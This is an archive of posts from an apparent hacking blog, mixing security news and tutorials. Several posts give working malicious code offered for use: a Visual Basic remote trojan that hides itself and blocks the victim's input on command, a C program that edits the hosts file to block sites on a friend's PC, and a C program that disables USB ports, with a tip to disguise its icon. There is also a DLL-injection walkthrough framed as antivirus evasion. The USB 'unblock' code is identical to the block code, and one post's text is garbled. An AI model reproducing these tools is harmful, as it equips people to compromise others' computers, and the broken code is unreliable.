Hack'a'Holic : Decrypting Encrypted Ideas

Damn Vulnerable Web App – Learn & Practise Web Hacking

2012-01-04T17:17:00.000+05:30

DVWA in action

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.
It is a best platform to practice web application hacking and security.

Using this app, you can practice the following existing vulnerabilities:
SQL Injection
XSS (Cross Site Scripting)
LFI (Local File Inclusion)
RFI (Remote File Inclusion)
Command Execution
Upload Script
Login Brute Force

Earlier it was launched with few features only, but recently some new features have been added into this app. Some of the new features are:

Added Acunetix scan report.
All links use http://hiderefer.com to hide referrer header.
Updated/added ‘more info’ links.
Moved change log info to CHANGELOG.txt.
Fixed the exec.php UTF-8 output.
Moved Help/View source buttons to footer.
Fixed phpInfo bug.
Made DVWA IE friendly.
Fixed html bugs.
Improved README.txt and fixed typos.
Made SQL injection possible in sqli_med.php.

Warning: But before testing, do not upload it to your hosting provider’s public html folder or any working web server as it will be hacked because this application is damn vulnerable. It’s recommend that you download and install XAMP onto a local machine inside your LAN which can be used solely for testing.

You can also install it in your Backtrack machine. Generally we need xampp server to setup damn vulnerable web application but xampp server is nothing but a collection of apache, sql, perl, PHP, openssl and other server side software's but backtrack 5 has all of these software's installed. It means there is no need to install xampp on backtrack machine. All you need to do is to get damn vulnerable web app and put it on the root directory of backtrack.
To download dvwa: http://www.dvwa.co.uk/
--DR34MHAXX

Code(dll) injection

2012-01-02T11:51:00.000+05:30

Prerequisites::
win32 programming
c++
Typical viruses sometimes inject their processes in another running process by using windows api functions.They then become harder to detect for the antivirus.In this article we will see how we can inject our code in the remote process thereby causing a remote dll to get loaded in the remote process' address space
The steps for injecting a dll in other process are::
1.)Create (or open handle to) the process we want the dll to be injected in.
2.)Allocate some memory for the name of the dll in the desired process (in which we want to inject our dll) using VirtualAllocEx and WriteProcessMemory function.
3.)Obtain the address of LoadLibrary(to load the dll in remote process) in our process using functions GetModuleHandle and GetProcAddress.Here, we assume here that kernel32.dll (which contains the LoadLibrary ) will be loaded at the same address in the remote process .So that the address of LoadLibrary will not differ.
4.)After that we need to use the CreateRemoteThread function
(syntax::
HANDLE WINAPI CreateRemoteThread(hProcess,lpThreadAttributes,dwStackSize
,lpStartAddress,lpParameter,dwCreationFlags,
lpThreadId)
);) to spawn a new thread in the remote process and execute the function LoadLibrary(whose address is specified by the 4th parameter ie.lpStartAddress which we obtained in the above step 3).
4.)LoadLibrary will thus be the default function to be executed in the remote process' thread once it (ie. the thread) starts since it's address has been passed to the CreateRemoteThread function.
5.)This will execute our LoadLibrary function with the parameter lpParameter(ie. the pointer to the name of the dll which we allocated in the remote address space using VirtualAllocEx and WriteProcessMemory in step 2)
6.)Once our dll is loaded the code inside it will be executed.
Thus we see that by using dll inject we can cause the remote application to behave arbitrarily in our own way.Other method to inject are by changing the value of the eip register(Later :))
For more reference and for the api documentation refer to msdn and codeproject..

Working app::http://www.mediafire.com/?858h6tcstxcujo5

Let me know if there are any bugs with the implementation.
~~crank

DESKTOP CLEANING APPLICATION

2011-12-27T12:09:00.000+05:30

From various souces around we get many files on our desktop which are not to be used right then but to be kept for later use.This application is to clean your desktop. It would check the extension of your file and send it to the desired location.Various windows API functions have been used in the coding. The file management functions with their parameters and brief description is as follows:

1.)FindFirstFile function: Searches a directory for a file or subdirectory with a name that matches a specific name (or partial name if wildcards are used).
SYNTAX: HANDLE WINAPI FindFirstFile (LPCTSTR lpFileName,LPWIN32_FIND_DATA lpFindFileData);
PARAMETERS:
lpFileName [in]
The directory or path, and the file name. Since we are talking of a particular case we have given the path of our desktop. We have used * with extension of files we want to move.
lpFindFileData [out]
A pointer to the WIN32_FIND_DATA structure that receives information about a found file or directory.

If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate.

2.)FindNextFile function :
     Continues a file search from a previous call to the FindFirstFile function.
   SYNTAX:
   BOOL WINAPI FindNextFile(HANDLE hFindFile,LPWIN32_FIND_DATA lpFindFileData);
PARAMETERS:
hFindFile [in]
The search handle returned by a previous call to the FindFirstFile function.
lpFindFileData [out]
A pointer to the WIN32_FIND_DATA structure that receives information about the found file or subdirectory.
The structure can be used in subsequent calls to FindNextFile to indicate from which file to continue the search.
If the function succeeds, the return value is nonzero and the lpFindFileData parameter contains information about the next file or directory found.
If the function fails, the return value is zero and the contents of lpFindFileData are indeterminate

3.)MoveFile function :
Moves an existing file or a directory, including its children.

SYNTAX:BOOL WINAPI MoveFile(LPCTSTR lpExistingFileName,LPCTSTR lpNewFileName);

PARAMETERS:
lpExistingFileName [in]
The current name of the file or directory on the local computer. The location from where we are moving our file.
lpNewFileName [in]
The new name for the file or directory. The new name must not already exist.The location where we want to move our file.

If the function succeeds, the return value is nonzero.If the function fails, the return value is zero.

Here's the source code::
#include<windows.h>
#include<stdio.h>
#include<conio.h>
void cpp(void);
void mp3();
void jpg();
int main(void)
{

cpp();
mp3();
jpg();
getch();
return 0;
}
void cpp()
{
      HANDLE hwnd;
      WIN32_FIND_DATA a;
      hwnd=FindFirstFile("C:\\users\\neha\\desktop\\*.cpp",&a);
      puts(a.cFileName);
      char from[100]="C:\\users\\neha\\desktop\\";
      char to[100]="E:\\cpp\\";
      strcat(to,a.cFileName);
      strcat(from,a.cFileName);
      MoveFile(from,to);
      while(0!=FindNextFile(hwnd,&a))
      {
                                     puts(a.cFileName);
                                     char from1[100]="C:\\users\\neha\\desktop\\";
                                     char to1[100]="E:\\cpp\\";
                                     strcat(from1,a.cFileName);
                                     strcat(to1,a.cFileName);
                                     MoveFile(from1,to1);

    }
}
void mp3()
{
      HANDLE hwnd;
      WIN32_FIND_DATA a;
      hwnd=FindFirstFile("C:\\users\\neha\\desktop\\*.mp3",&a);
       puts(a.cFileName);
      char from[100]="C:\\users\\neha\\desktop\\";
      char to[100]="E:\\selected songs\\";
      strcat(to,a.cFileName);
      strcat(from,a.cFileName);
      MoveFile(from,to);
      while(0!=FindNextFile(hwnd,&a))
      {
                                      puts(a.cFileName);
                                      char from1[100]="C:\\users\\neha\\desktop\\";
                                      char to1[100]="E:\\selected songs\\";
                                      strcat(from1,a.cFileName);
                                      strcat(to1,a.cFileName);
                                      MoveFile(from1,to1);

}

}
void jpg()
{
      HANDLE hwnd;
      WIN32_FIND_DATA a;
      hwnd=FindFirstFile("C:\\users\\neha\\desktop\\*.jpg",&a);
       puts(a.cFileName);
      char from[100]="C:\\users\\neha\\desktop\\";
      char to[100]="E:\\pictures\\";
      strcat(to,a.cFileName);
      strcat(from,a.cFileName);
      MoveFile(from,to);
      while(0!=FindNextFile(hwnd,&a))
      {
                                      puts(a.cFileName);
                                      char from1[100]="C:\\users\\neha\\desktop\\";
                                      char to1[100]="E:\\pictures\\";
                                      strcat(from1,a.cFileName);
                                      strcat(to1,a.cFileName);
                                      MoveFile(from1,to1);

}

}

---By:: cyb3R 4ng3ls

Analysing facebook spam pages[Depth]

2011-12-13T20:01:00.002+05:30

Spam alert. Avoid this.
I was browsing facebook today when a link caught my attention.

Lol !Checkout this video its a very embarrassing moment for her

The moment i looked upon it i knew that its a spam and i didnt had much to do so i tried to learn what it did.
after clicking on the link we get redirected to http://awts-on-tv6.blogspot.com/?video

since most of the people will try to watch the video and for that the website requires you to download and install a plugin.
in this case that plugin is Youtube Premium Plugin.(cleverly crafted, or is it though?)
So i click on install plugin and B00m all of my friends on facebook have their walls +1'd by a new post,
created by me (funny i never did that).
and that post again randomly changes.
Lesson 1: never install those plugins.
but lets say that you did, ofcourse i DID!
then lets move to the next step, analysing.

notice the top right corner it says that i installed the plugin.
even after installing the video isnt visible so i take it as a Spam.
Warning if doing this kind of testing, beforehand logout your facebook profile. i will explain later why.

now it is installed and i have logged of before hand thus making the plugin fail and none of my friends got spammed again so that they again do what i accidently did with their sorry hands.

next thing we do is go to the core of this plugin
i already knew that chrome stays in %homedrive%\\users\\<username>\\appdata\\local\\google\\chrome
therefore if a plugin is actually installed then it is residing in this directory for sure. unless its some sort of malware. which i found to be a false claim, yes its definetly a spam.

moving further we have a folder called user data in the application
upon browsing all the folders and subfolders i finally found the place where plugins are installed.
C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default\Extensions
there were two folders here during my time.
opening them i found many files, one said mibbit.png ..... and other folder said icon.png.
since one extension i installed was mibbit IRC client and other one was this youtube one we are currently trying to break down. we arrive to the conclusion that other folder was our final extension.

in that folder there was only one file which could do anythnig to our browser. i.e. .js file or javascript
a section of that file i have shown in image. notice the highlighted part
in all of the javascript there is only one URL and no other malicious functions.
http://betterfinace.com/script.js
thus my curiousity grew. upon opening the file i got this

another link and opening this marked link i get final thing. you can open the js link and it isnt malicious in any way i assure you. your browser wont execute that and will only open js file in text mode for you to see.

the first function enchulatuFB tells us that the coder of this thing is of spanish origin.
next thing we note is tons of functions.
1st: uses iframes to post some data
2nd the highlighted part says the following in the messagebox. read comments for more information. as of now remember that i puts the images given in the messagebox on the screen like in the first image given by me check out the girl in bottom. thats the image this function loads.
also note that malicious attackers can be able to infect your pc with a string like aaaaasdhjhnfajsdasldlas so dont try to execute them since they can be simple machine code which can harm you in any possible way. avoid direct gibberish code execution at all costs. what i did alert(string.convert.....); was stupid dont do that.

3rd function: reads cookies of browser and stores them somewhere.
4th function sets cookie passd by parameter
5th and 6th function are used in collaboration to set predefined strings in diffferent order.
like
'check this out ... shocking ',' This shocking ...', 'I hate it happened to her ..'

  'check this out ... OMG ',' Ehey ',' Hey ',' Hey! ',' LOL ',' Hello! ',' Look! ',' This is sic.. ',' Damn!'
    'u wont believe! ',' check this embarrassing video ',' why did this happen to her?'
    ' Bizarre . '

thus explaining random order of strings which i got and my friends got after infection.

last and finally fb_comparte function uses facebooks cookies to generate new request for browser to evaluate friends of the victim and post the aforementioned strings on everyone of thei walls. thus making this campaign a hit. :)

for better understanding of the javascript read some good books then check the js file out.

it will explain everything about how elements of a webpage are grabbed to view friend lists and how [POST] request can send data to another user using forms. as a result their walls can get flooded with such spams.

i hope you would have understood how to analyze anything like this if it comes good in future.

Learn how to Make Trojan in VB (Code)

2011-12-11T13:00:00.001+05:30

Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code. The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go through what you need for both and some sample code.

Server

The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it. To do this you start by using

Code: VB

Private Sub Form_Load()

Me.Visible = False

End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.

Code: VB

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

End Sub

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!

The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.

Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.

Code: VB

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

win.LocalPort = 2999

win.RemotePort = 455

win.Listen

End Sub

This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!

To do this little devious thing we need to add a module with the following code

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Then we add this code to our main form:

Code: VB

Private Sub win_ConnectionRequest(ByVal requestID As Long)

win.Close

win.Accept requestID

End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)

win.GetData GotDat

DoActions (GotDat)

End Sub

The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!

Code: VB

Public Function DoActions(x As String)

Dim Action

Select Case x

Case "block"

Action = BlockInput(True)

End Select

End Function

Ok now we have a program that when the data “block” is sent to it on port 2999 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.

Main Form

Code: VB

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

win.LocalPort = 2999

win.RemotePort = 455

win.Listen

End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long) ' As corrected by Darkness1337

win.Close

win.Accept requestID

End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)

win.GetData GotDat

DoActions (GotDat)

End Sub

Remember to add your winsock control and name it to win if you use this code.

Code: VB

Module

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Public Function DoActions(x As String)

Dim Action

Select Case x

Case "block"

Action = BlockInput(True)

End Select

End Function

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the command “block”.

Make a form and add a Winsock Control, a text box, and three buttons. The Text box

should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.

Code: VB

Private Sub cmdConnect_Click()

IpAddy = txtIp.Text

Win.Close

Win.RemotePort = 2999

Win.RemoteHost = IpAddy

Win.LocalPort = 9999

Win.Connect

cmdConnect.Enabled = False

End Sub

Private Sub cmdDisconnect_Click()

Win.Close

cmdConnect.Enabled = True

End Sub

Private Sub cmdBlockInput_Click()

Win.SendData "block"

End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send the “block” data to block off their input.

Do post in your comments for any Queries

Posted By :- |-|A|_F B|_00d Pr|nCe

SOME IMPORTANT FIREFOX ADDONS FOR DEVELOPMENT & SECURITY .

2011-11-26T00:14:00.001+05:30

Well, according to the latest survey firefox is the second most used browser in the world. chrome is definitely catching up. And to be very frank , its the browser of my choice:D (
Now the question arises, why firefox?
you may choose firefox because it is fast, safe and open-source, which means you can modify anything for it( if you know how).It is multi platform and the most important is its pluggable extension feature, it means that firefox gives you certain number of features and if you want to make it more you can make extensions.
about firefox security
While no browser is 100% secure Mozilla Firefox has much better security than Internet Explorer. Firefox does not support Activex which is a tool that can be used with good and bad intentions. Activex allows web sites to have more access to Windows. As a result of this, cyber criminals have taken advantage of it. This means that viruses and spy ware (and sometimes other types of malware as well such as adware) can take advantage of it, resulting in these programs ending up on the visitors computer (if using Windows at the time). Spyware is any piece of software that silently gathers information about a user while he/she navigates the Internet and transmits the information to an individual or company that uses it for marketing or other purposes.Spyware and other types of Malware usually do not target Firefox, but there is some out there that will also get Firefox, but it is rather unlikely that a Firefox user would get it. Unless for example they install loads of extensions from all kinds of web sites. So don't install an add-on if the website doesn't look trustworthy .If a Firefox user has the cache turned on a Trojan can end up in it. A cache is an amount of space in which Firefox uses to temporarily store images and other files from sites so you can load the page up quicker if you chose to go back and view the page again. You can turn it off by going to "Tools" then "options" click on the "advanced" tag and then the "cache" tag set the amount of MB's it's allowed to use to "0". However a Trojan just sit their in the catch and will not do anything unless the user actually opens it.
FIREFOX ADDONS
Add-ons are installable enhancements to the Mozilla Foundation's projects, and projects based on them. Add-ons allow the user to add or augment application features, use themes to their liking, and handle new types of content.So, Add-ons give Firefox many new options and functions. How to get them? www.google.com or mozillas extension site which is at addons.mozilla.org.some useful addons for development & security in my opinion are:
1. GREASE MONKEY: This allows you to customize the way a web page displays or behaves, by using small bits of JavaScript.
download link:
https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/?src=cb-dl-users
2. FIRE BUG: Firebug integrates with Firefox to put a wealth of development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.
download link:
https://addons.mozilla.org/en-US/firefox/addon/firebug
3.RIGHTTOCLICK: It enables right-click, text selection, context-menu, drag&drop and much more where it is disabled by Javascript.RightToClick protects from annoying alert pop-ups, can remove many timer actions and is able to suppress (unusual) click behavior. The highly sophisticated engine also offers options for fine tuning. Finally it's helpful with image downloads (also disabling CSS might be useful here).
download link:
https://addons.mozilla.org/en-us/firefox/addon/righttoclick
p.s- if you have not noticed yet, then let me inform you that you can use this addon in this blog also, try it.
4. NOSCRIPT:This add-on is used for security. It simply blocks malicious scripts, applets and flash. A disadvantage of this is if you want a script to be run on a site when visiting, you must unblock it. To read more about this addon:
http://teamhackaholic.blogspot.com/2011/06/noscript-security-against-active.html
5.ADD-N-EDIT COOKIES:No comment. You know what it does. but this add-on is not available for the 7.0,1 version.
6.ADBLOCK PLUS:The add-on is supported by over forty filter subscriptions in dozens of languages which automatically configure it for purposes ranging from removing online advertising to blocking all known malware domains. Adblock Plus also allows you to customize your filters with the assistance of a variety of useful features, including a context option for images, a block tab for Flash and Java objects, and a list of blockable items to remove scripts and stylesheets.
download link:
https://addons.mozilla.org/en-US/firefox/addon/adblock-plus
7.WEB-DEVELOPER:The Web Developer adds various web developer tools to your browser.
download link:
https://addons.mozilla.org/en-US/firefox/addon/web-developer
8.LIGHT SHOT: if you want a screenshot of a website immediately, then this tool is very useful for you.LightShot is a tool allowing you to easily make screenshots of any selected area in a browser tab.
downloading link:
https://addons.mozilla.org/en-US/firefox/addon/lightshot
9.HACKBAR: Well if you are a web develper and concerned about your website security, then this Add-on is made for you. we have already explained about this add-on in our blog earlier. follow the link to read more:http://teamhackaholic.blogspot.com/2011/06/firefox-hacking-addon-hackbar.html
10.ALL-IN-ONE SIDEBAR:This is made for the ease of the user.All-in-One Sidebar is a wonderful extension that provides you easy access to your bookmarks, downloads, history, themes and extensions, and more.
download link:
https://addons.mozilla.org/en-US/firefox/addon/all-in-one-sidebar
note: all the add-ons are explained keeping in mind that you are using the latest firefox version,i.e. 7.0.1, many security issues and bugs have been patched in this version. Otherwise if you are using the earlier versions of firefox, then many security related add-ons are available which are very important:
some of them are:XSS-ME, SQL INJECT ME etc.

posted by:-DR34MHAXX

ZeuS Spreading via Facebook Friends Request

2011-11-25T11:34:00.001+05:30

New spamming campaign has been reported by Trend micro. This type of malware is spreading through Facebook. The downloaded malware is another type of Zbot, also called Zeus a Trojan horse that attempts to steal confidential information from the compromised computer. It may also download configuration files and updates from the Internet.
Malware spreads by sending messages to victims that includes Facebook friend request notification. When user clicks to approve the friend request link opens a page that invites him to install the latest version of Adobe Flash Player. But here the link takes user to install TSPY_ZBOT.FAZ instead of Adobe Flash Player.

This spyware adds registry entries to enable its automatic execution at every system startup. It attempts to steal information, such as user names and passwords, used when logging into certain banking or finance-related websites.
Generally Trojan.Zbot files are used to compromise computers is generated using a special toolkit that is available in marketplaces for online criminals. Toolkit allows an attacker a high degree of control over the functionality of the final executable that is distributed to targeted computers.
The Trojan itself is primarily distributed through spam campaigns and drive-by downloads, though given its versatility, other vectors may also be utilized. The user may receive an email message purporting to be from organizations such as the FDIC, IRS, MySpace, Facebook, or Microsoft.

Fake ‘Friend Request’ E-mail from Facebook Delivers Trojan: Cyberoam

2011-11-25T11:27:00.001+05:30

According to Cyberoam an IT firm, which recently published a survey report, online scammers are targeting Facebook members by sending them several "friend request" messages for defrauding them into taking down one banker Trojan, published The Times of India on October 19, 2011.
The survey, which Cyberoam conducted, reportedly involved Commtouch another IT security software firm as a partner.
Senior Vice-President of Product Management Abhilash Sonwane at Cyberoam stated that modern scammers along with malware creators knew very well Facebook users' behavioral psychology. They knew that, although intelligent, many users of the social-networking website didn't think again prior to accepting an unknown stranger's 'friend request' e-mail, alternatively answering random such e-mails, hoping they would get gifts and free devices. Online-crooks would constantly tweak their assaults against websites for social-networking exploiting the public's frailties, Sonwane explained. IndiaPRwire reported this on October 19, 2011.
Moreover, Cyberoam as well noticed how free offers through Facebook enticed users that prompted them for disseminating junk e-mails within their friends circle. In addition, the survey discovered an omnipresent "like" button on Facebook that advertising-fraudsters harnessed for enticing end-users into supposedly getting an iPhone 4 for free.
Evidently, the fraudsters gained much out of effective 'free' publicity because of Facebook users' trustworthiness, in addition to potentially acquire their other details from personal profiles to commit ID-theft.
Moreover, spam attachments crafted with "right-to-left" override, deceived people who didn't bother about file extensions on computers running Windows.
In the meantime, the report further revealed that India kept on being on No.1 among the globe's major 'compromised PC' or technically, 'zombie' destinations, while Brazil fell to No.3 rank.
Additionally, according to the report, e-mail-borne viruses revived during Q3-2011 when numerous attacks occurred during August-September 2011. At the peak, however, 25bn malware-laced e-mails were distributed per day.
Meanwhile, users wishing for getting the free iPhone 4 had the message directing them for 'liking' many web-pages, supplying their postal add as well as passing on the 'friend request' e-mail to at least 100 others, thereby making sure the scam proliferated,
Hence, according to the security specialists, social networking members require staying vigilant about these scams.

Google Protects User Data for the Future with Forward Secrecy

2011-11-24T19:57:00.001+05:30

Thе Google security team hаѕ enabled forward secrecy іn іtѕ HTTPS services bу default, ѕο thаt captured messages саn’t bе decrypted retroactively. Even though Gmail wеnt tο a secure HTTPS connection bу default last year, encrypted files сουƖԁ still bе captured іn thеіr unreadable form аnԁ broken years later, whеn computers аrе much fаѕtеr.

Othеr HTTPS Google services include Docs аnԁ Google+, аѕ well аѕ SSL Web search. AƖƖ thеѕе services аrе now forward secret whеn HTTPS іѕ turned οn. Initially, οnƖу Chrome аnԁ Firefox wіƖƖ υѕе forward secrecy bу default wіth Google services, bесаυѕе Internet Explorer doesn’t support Google’s combination οf thе RC4 authentication аnԁ ECDHE key exchange mechanisms. “Wе hope tο support IE іn thе future,” thе security team ѕауѕ.
Thе forward secrecy enabled today requires thаt thе private keys thаt maintain thе connection tο thе service аrе nοt held іn persistent storage. Thаt means a wουƖԁ-bе attacker саn’t reverse-decrypt past connections. Nοt even thе server operator саn decrypt thеѕе sessions retroactively. Thе team hаѕ released іtѕ work οn thе open-source OpenSSL library thаt enabled thіѕ security.
Yου саn see whether уουr connection іѕ secure bу clicking thе green padlock іn уουr browser’s address bar whеn οn аn HTTPS site.

Google’s Progress οn Security
Google mаԁе encrypted Web search available іn 2010, bυt іt ԁіԁ nοt anticipate thаt thе secure domain wουƖԁ conflict wіth thе Children’s Internet Protection Act, whісh requires schools tο monitor аnԁ block сеrtаіn websites. Sіnсе secure search prevented schools frοm logging, filtering οr blocking search results, schools wеrе caught іn thе lurch. Google resolved thе problem bу giving secure search іtѕ οwn encrypted.google.com domain.

Prank your Friend : Block Websites on his PC Virus

2011-11-22T23:16:00.001+05:30

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

Here is the Source Code of the virus :

#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

1. Paste the Above Given Source Code in Notepad & Save it as "Website_Block.c"
2. Compile the above created source file using a C Compiler.
3. Run the compiled module ie. the exe file obtained after compilation. It will block the sites that is listed in the source code.
4.Once you run the file Website_Block.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

5. To remove the virus type the following in the Run Dialog Box. (Start -> Run)

%windir%\system32\drivers\etc

6.There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1 google.com

7. Delete all such entries which contain the names of blocked sites.

Enjoy playing this Prank over your Friends & make them toil to use these Websites :D ;-)

Posted By :- |-|A|_F B|_00d Pr|nCe

Disable USB Ports : Virus Source Code

2011-11-22T23:03:00.001+05:30

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Copy the below Given Code in Notepad & Save it as "block_usb.c"

#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}

2. Again Copy the below Given Code in Notepad & Save it as "unblock_usb.c"

#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}

3. Compile the Above two saved files using a C Compiler before you can run it.

4. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

5. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

6. You can also change the icon of this file to make it look like a legitimate program.

Hope you would have Liked it. Do post back your comments over it. :) :)

Posted By :- |-|A|_F B|_00d Pr|nCe

How to Hide Data in Image, Audio & Video Files: Steganography

2011-11-22T22:49:00.001+05:30

Ever wondered to know how to hide secret messages in images, audio and video files? Well, in this post I will take you through a concept called steganography using which, it is possible to hide your secret information in image files, songs or any other file of your choice. At the end of this post, you can also download free stegnographic tools and start hiding your data.

What is Steganography?

Steganography is a means of obscuring data where secret messages are hidden inside computer files such as images, sound files, videos and even executable files so that, no one except the sender and the receiver will suspect the existence of stealth information in it. Steganography may also involve the usage of cryptography where the message is first encrypted before it is concealed in another file. Generally, the messages appear to be something else such as an image, sound or video so that the transfer of secret data remains unsuspected.

The main advantage of steganography over other methods such as cryptography is that, it will not arose suspicion even if the files fall in the hands of a third party. Unlike cryptographic messages, stegnographic messages will no way attract the attention of a third party by themselves. Thus stegnanography has an upper hand over cryptography as it involves both encryption and obscurity.

What are the Applications of Steganography?

Steganography is mainly used to obscure confidential information/data during storage or transmission. For example, one can hide a secret message in an audio file and send this to another party via email instead of sending the message in the textual format. The receiver on the other end will decrypt the hidden message using the private decryption key. In a worst case scenario, even if a third party does manage to gain access to the email, all he can find is the audio file and not the hidden data inside it. Other usage of steganography include digital watermarking of images for reasons such as copyright protection.

Eventhough steganography has many useful applications, some may use this technique for illegitimate purposes such as hiding a pornographic content in other large files. Roumors about terrorists using steganography for hiding and communicating their secret information and instructions are also reported. An article claiming that, al-Queda had used steganography to encode messages in images and transported them via e-mails, was reported by New York Times, in October 2001.

How do Steganography Tools Work?

Stegnography tools implement intelligent algorithms to carefully embed the encrypted text messages or data inside other larger files such as an image, audio, video or an executable file. Some tools will embed the encrypted data at the end of another file so that there will be enough room for storing larger data.

There are many steganography tools available online but only a few are able to work flawlessly. I did not find any tool that worked perfectly on both small and large data. However I have managed to develop my own tool that can work perfectly on all types of files and all size of data. The tool is called “Stego Magic“. You can download it from the following link.

Download StegoMagic.zip

The zip file contains two versions of Stego Magic: One for encrypting the text messages and the other for encrypting binary files. StegoMagic_TXT can be used to hide text messages in other files such as an image or a sound file. StegoMagic_BIN can be used to hide one binary file in another such as an executable file inside an image or an image inside a video file.
With Stego Magic, there is no limitation on the size and type of the file that you are intending to hide. For example, you can hide a video of size 1 GB in an image of size 1 MB or hide an executable file inside a WORD document. The tool is pretty straightforward to use and requires no special understanding of the concept.
At the end of the encryption process, a secret decryption key will be generated and the same is required during the decryption process.

How to Use Stego Magic?

Suppose you want to hide a text message inside a JPG file:
1. Place the JPG and the text file (.txt) in the same folder as that of StegoMagic_TXT.exe
2. Run StegoMagic_TXT.exe and follow the screen instructions to embed the text message inside the JPG image.
3. Note down the secret decryption key.
